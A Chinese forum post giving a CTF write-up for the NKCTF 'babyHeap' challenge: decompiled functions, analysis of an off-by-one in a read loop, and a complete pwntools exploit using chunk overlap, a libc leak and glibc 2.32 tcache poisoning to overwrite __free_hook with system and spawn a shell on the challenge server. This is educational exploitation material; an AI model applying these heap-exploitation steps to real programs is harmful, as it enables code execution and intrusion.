首页
社区
课程
招聘
[原创]【NKCTF】babyHeap-Off by one&Tcache Attack
2023-3-26 23:14 9964

[原创]【NKCTF】babyHeap-Off by one&Tcache Attack

2023-3-26 23:14
9964

目录

目录

程序分析

IDA静态分析

伪代码分析

main函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int choice; // [rsp+0h] [rbp-10h]
  char buf[4]; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v6; // [rsp+8h] [rbp-8h]
 
  v6 = __readfsqword(0x28u);
  init(argc, argv, envp);
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      read(0, buf, 4uLL);
      choice = strtol(buf, 0LL, 10);
      if ( choice <= 5 && choice > 0 )
        break;
      puts("Index error.");
    }
    if ( choice == 5 )
      break;
    switch ( choice )
    {
      case 1:
        add();
        break;
      case 2:
        delete();
        break;
      case 3:
        edit();
        break;
      default:
        show();
        break;
    }
  }
  puts("Goodbye and welcome to use it next time.");
  return 0;
}

add函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
unsigned __int64 add()
{
  signed int index; // [rsp+Ch] [rbp-14h]
  int size; // [rsp+10h] [rbp-10h]
  char buf[4]; // [rsp+14h] [rbp-Ch] BYREF
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]
 
  v4 = __readfsqword(0x28u);
  printf("Enter the index: ");
  read(0, buf, 4uLL);
  index = strtol(buf, 0LL, 10);
  if ( (unsigned int)index > 0xF )
  {
    puts("Up to 16 nkctf notes can be created.");
  }
  else if ( note_array[index] )
  {
    puts("Sorry, this nkctf note has already been used.");
  }
  else
  {
    printf("Enter the Size: ");
    read(0, buf, 4uLL);
    size = strtol(buf, 0LL, 10);
    if ( size <= 256 )
    {
      note_size[index] = size;
      note_array[index] = malloc(note_size[index]);
      if ( !note_array[index] || !note_size[index] )
        my_error("malloc()", 0xFFFFFFFFLL);
    }
    else
    {
      puts("This nkctf note is too big.");
    }
  }
  return __readfsqword(0x28u) ^ v4;
}

delete函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
unsigned __int64 delete()
{
  unsigned int v1; // [rsp+0h] [rbp-10h]
  char buf[4]; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v3; // [rsp+8h] [rbp-8h]
 
  v3 = __readfsqword(0x28u);
  printf("Enter the index: ");
  read(0, buf, 4uLL);
  v1 = strtol(buf, 0LL, 10);
  if ( v1 > 0xF )
  {
    puts("Index error.");
  }
  else if ( note_array[v1] )
  {
    free((void *)note_array[v1]);
    note_array[v1] = 0LL;
    note_size[v1] = 0;
    if ( note_array[v1] || note_size[v1] )
      my_error("free()", 4294967294LL);
  }
  else
  {
    puts("The nkctf note to be freed does not exist.");
  }
  return __readfsqword(0x28u) ^ v3;
}

edit函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
unsigned __int64 edit()
{
  unsigned int v1; // [rsp+0h] [rbp-10h]
  char buf[4]; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v3; // [rsp+8h] [rbp-8h]
 
  v3 = __readfsqword(0x28u);
  printf("Enter the index: ");
  read(0, buf, 4uLL);
  v1 = strtol(buf, 0LL, 10);
  if ( v1 > 0xF )
  {
    puts("Index error.");
  }
  else if ( note_array[v1] )
  {
    printf("Enter the content: ");
    my_read(note_array[v1], (unsigned int)note_size[v1]);
  }
  else
  {
    puts("The nkctf note to be filled was not created.");
  }
  return __readfsqword(0x28u) ^ v3;
}

show函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
unsigned __int64 show()
{
  unsigned int v1; // [rsp+0h] [rbp-10h]
  char buf[4]; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v3; // [rsp+8h] [rbp-8h]
 
  v3 = __readfsqword(0x28u);
  printf("Enter the index: ");
  read(0, buf, 4uLL);
  v1 = strtol(buf, 0LL, 10);
  if ( v1 > 0xF )
  {
    puts("Index error.");
  }
  else if ( note_array[v1] )
  {
    puts((const char *)note_array[v1]);
  }
  else
  {
    puts("The nkctf note to be printed was not created.");
  }
  return __readfsqword(0x28u) ^ v3;
}

my_read函数【漏洞】

1
2
3
4
5
6
7
8
9
10
11
12
13
__int64 __fastcall my_read(__int64 a1, int a2)
{
  unsigned int v3; // [rsp+10h] [rbp-10h]
  int i; // [rsp+14h] [rbp-Ch]
 
  for ( i = 0; i <= a2; ++i )//逻辑错误导致1个字节的溢出
  {
    v3 = read(0, (void *)(i + a1), 1uLL);
    if ( *(_BYTE *)(i + a1) == 10 )
      break;
  }
  return v3;
}

分析总结

保护全开,CRUD全都提供了,但是没有明显可利用的地方,问题出在edit()函数输入内容时使用的my_read()函数,看名字都很可移:),其中根据创建时输入的chunkSize进行循环,由于逻辑错误导致会多读取一个字节,可以进行溢出

漏洞利用及原理

可利用漏洞

  • 堆溢出Off by one

利用分析

已知在向堆输入内容时可进行一个字节的溢出,所以当我们申请0x?8个字节时便可实际输入0x?9篡改下一个chunkSize,于是我们可以进行如下利用

  • 申请3个大小为0x68的chunk
  • 通过溢出篡改chunk#1->size=0xF1
  • 释放chunk#1使其进入Tcache#0xf0
  • 重新申请chunk#1,大小为0xE8

此时chunk#1被重新至于原位且此时记录大小为0xE8,真实大小依旧为0x68,可随意篡改,泄露chunk#2,于是进行以下利用

  • 篡改chunk#2->size=0x4b1
  • 申请4个大小为0x100的chunk
  • 释放chunk#2使其进入Unsorted Bin
  • chunk#1中填充大小为0x70的字符
  • 使用show()函数打印chunk#1以泄露main_arena

此时我们已经实现了 libcBase LeakChunk Extends ,题目给出了的ibc版本为glibc-2.32,由于应用了Tcache,所以决定使用Tcache poisoning进行任意地址写

利用原理和注意事项

Tcache整体和FastBin较相似,同采取 单链表 LIFO 进行管理,也既其FreeChunk仅有fd字段,区别是在利用时,FastBin等都将对ChunkHeader进行检查,而Tcache的检查极其少,导致安全性低,其中值得注意的一项检查和一项保护措施分别如下

  • 针对fd字段的混淆
  • 针对被申请地址的对齐检查
  • tcache_perthread_struct结构体中的counts字段记录了当前分类中存在多少个可分配FreeChunk

    glibc-2.31后,对FastBin/Tcachefd字段进行了混淆保护,当第一个FreeChunk进入分类中时,&FreeChunk#0 >> 3将作为key被保存并写入FreeChunk#0->fd,而后该分类的每个FreeChunk->fd在存取时都将与key进行异或,所以若是我们要篡改fd字段,则需要泄露key

glibc 2.29 之前,TcacheChunk16 bytes 进行对齐,而在这之后,当申请的大小64<=size<=128,则以16 bytes进行对齐,其它情况下则以 8 bytes 进行对齐,所以若是申请的&FakeChunk不符合对齐条件,需要-=8以绕过检查

 

tcache_perthread_struct->counts=0时,则会直接跳过Tcache从而去别处分配

注意事项的解决方案:

  1. 先泄露并保存Tcache[X]->key后在篡改fd时与真实Address进行异或
  2. 若是报错malloc(): unaligned tcache chunk detected,则将FakeFd-8
  3. 篡改使tcache_perthread_struct->counts+1或者篡改FreeChunk#1或之后FreeChunkfd以保证在申请到FakeChunktcache_perthread_struct->counts!=0

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
from pwn import *
 
#p = process(["./ld-2.32.so", "./pwn"],env={"LD_PRELOAD":"./libc-2.32.so"})
#p = process("./pwn")
 
context(os='linux', arch='amd64', log_level='debug')
p = remote("node2.yuzhian.com.cn",36361)
 
libc = ELF("./libc-2.32.so")
#libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
 
#gdb.attach(p)
sleep(1)
 
 
def add(index,size):
    p.sendlineafter("Your choice: ","1")
    p.sendafter("Enter the index: ",str(index))
    p.sendafter("Enter the Size: ",str(size))
def free(index):
    p.sendlineafter("Your choice: ","2")
    p.sendafter("Enter the index: ",str(index))
def edit(index,content):
    p.sendlineafter("Your choice: ","3")
    p.sendafter("Enter the index: ",str(index))
    p.sendafter("Enter the content: ",content)
def show(index):
    p.sendlineafter("Your choice: ","4")
    p.sendafter("Enter the index: ",str(index))
 
add(0,0x68)
add(1,0x68)
add(2,0x68)
add(3,0x100)
add(4,0x100)
add(5,0x100)
add(6,0x100)
add(7,0x68)
add(8,0x68)
add(9,0x68)
add(10,0x68)
add(11,0x68)
add(12,0x68)
 
payload = b"A"*0x68
payload += b"\xE1"
edit(0,payload)
 
free(1)
add(1,0xD8)
 
payload = b"A"*0x68
payload += b"\x71"
edit(0,payload)
payload = b"\x00"*0x68
payload += p64(0x4b1)+b"\n"
edit(1,payload)
 
free(2)
 
payload = b"A"*0x70+b"\n"
edit(1,payload)
 
show(1)
mainArena = u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))-96-0xa
mallocHook = mainArena-0x10
libcBase = mallocHook - libc.sym['__malloc_hook']
freeHook = libcBase + libc.sym['__free_hook']
systemCall = libcBase + libc.sym['system']
oneGadGet = libcBase+0xdf54c
oneGadGet1 = libcBase+0xdf54f
oneGadGet2 = libcBase+0xdf552
print("libcBase ==================> 『{}』".format(hex(libcBase)))
print("mainArena ==================> 『{}』".format(hex(mainArena)))
 
payload = b"\x00"*0x68 + p64(0x4b1)+p64(mainArena+96)+p64(mainArena+96)+b"\n"
edit(1,payload)
 
free(3)
free(4)
free(5)
free(6)
add(3,0x68)
add(4,0x68)
add(5,0x68)
add(6,0x68)
 
free(3)
free(4)
 
payload = b"A"*0x6e+b"M\n"
edit(1,payload)
show(1)
p.recvuntil("M\n",drop=True)
key = u64(p.recvuntil("\n",drop=True).ljust(8,b"\x00"))
fakeChunk = freeHook
fakeChunkX = (freeHook)^key
fakeChunkM = (mallocHook)^key
 
payload = b"A"*0x68+p64(0x71)+b"\n"
edit(1,payload)
 
payload = b"A"*0x68
payload += b"\xE1"
edit(7,payload)
 
free(8)
add(8,0xD8)
add(4,0x68)
 
free(9)
payload = b"A"*0x6f + b"\n"
edit(8,payload)
show(8)
 
p.recvuntil("A\n",drop=True)
heapAddr = u64(p.recvuntil("\n",drop=True).ljust(8,b"\x00")) ^ key
 
edit(0,b"/bin/sh\x00;\n")
binsh = heapAddr-0x150
print("mainArena ==================> 『{}』".format(hex(mainArena)))
print("key ==================> 『{}』".format(hex(key)))
print("fakeChunk ==================> 『{}』".format(hex(fakeChunk)))
print("fakeChunkX ==================> 『{}』".format(hex(fakeChunkX)))
print("heapAddr ==================> 『{}』".format(hex(heapAddr)))
print("binsh ==================> 『{}』".format(hex(binsh)))
print("libcBase ==================> 『{}』".format(hex(libcBase)))
print("freeHook ==================> 『{}』".format(hex(freeHook)))
 
payload = b"A"*0x68 + p64(0x71) + p64(fakeChunkX)+b"\n"
edit(8,payload)
add(13,0x68)
add(14,0x68)
 
payload = p64(systemCall)+b"\n"
edit(14,payload)
free(0)
 
p.interactive()
p.close()

[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

最后于 2023-3-26 23:16 被LeaMov编辑 ,原因: 错别字
上传的附件:
收藏
点赞2
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回